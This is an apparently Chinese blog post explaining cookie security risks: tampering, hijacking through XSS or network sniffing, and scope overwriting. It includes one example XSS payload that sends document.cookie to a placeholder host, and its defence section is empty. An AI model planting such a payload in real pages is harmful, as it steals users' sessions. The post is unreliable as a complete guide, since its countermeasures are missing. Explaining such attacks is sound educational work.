Web前端之路IT技术篇PHP开发

Cookie安全问题与防范

2020-03-16  本文已影响0人  X先生说

前言

Cookie 往往用来存储用户的某些相关信息,例如身份,配置等。Cookie 使用起来非常简单和方便,然而如果不加注意,它又可能成为我们网站的安全隐患,带来极大的风险。

那么不正确地使用 Cookie 有哪些安全问题呢?

Cookie 安全问题

Cookie篡改

这是最容易出现的情况,也就是直接修改 Cookie 的内容。我们知道,Cookie 是存储在客户端的,所以里面的内容可以通过浏览器的控制台或者 js 代码进行修改的。因此 Cookie 相对而言是不可信的,如果我们把一些重要的信息,例如权限信息存在 Cookie,很容易就被有心人篡改,导致越权问题。

Cookie 劫持

很多网站是用 Cookie 来做用户识别的,例如 Cookie 里存储了 Session id,通过Session id 来获取更进一步的用户信息。因此如果用户的 Cookie 被劫持了,盗用者是可以用这个 Cookie 来伪装成该用户来进行网站操作的。Cookie 劫持一般和 XSS 攻击一起使用,先通过 XSS 攻击获得了在页面上运行 js 的能力,然后通过 js 读取 Cookie,并发送给远程的服务器。例如
<script>document.location='http://xxx.com/getCookie.php?cookie='+document.cookie;</script>

除了通过 XSS 攻击来劫持 Cookie 外,攻击者还可能在网络节点中嗅探到 HTTP 连接的 Cookie。HTTP 连接采用的是明文传输,相当于所有信息都是在网络上裸奔的,很容易就会被有心人窃取到了。

Cookie 作用域攻击

Cookie 有两个很重要的属性:Domain 和 Path,用来指示 Cookie 的作用域。不同作用域下的 Cookie 可以同时存在,例如我们可以有一个 a.b.com下的 Cookie aaa,也可以同时有一个*.b.com下的 Cookie aaa。前者在 a.b.com下生效,后者在b.com的所有子域下生效。

在某些情况下,如果我们的 Cookie 作用域设置得太高,即使我们开启了 Cookie 安全选项,攻击者仍可能通过设置一个更小作用域的 Cookie 来覆盖掉我们设置的 Cookie,使得在这个小作用域内,生效的不是我们设置的 Cookie,而是攻击者设置的 Cookie。

介绍了这么多不正确地使用 Cookie 带来的问题,那我们该如何来解决呢?

Cookie安全防范

Enjoy it !

如果觉得文章对你有用,可以赞助我喝杯咖啡~

版权声明

转载请注明作者和文章出处
作者: X先生
首发于 https://www.jianshu.com/p/e78cd310b360

上一篇 下一篇

猜你喜欢

热点阅读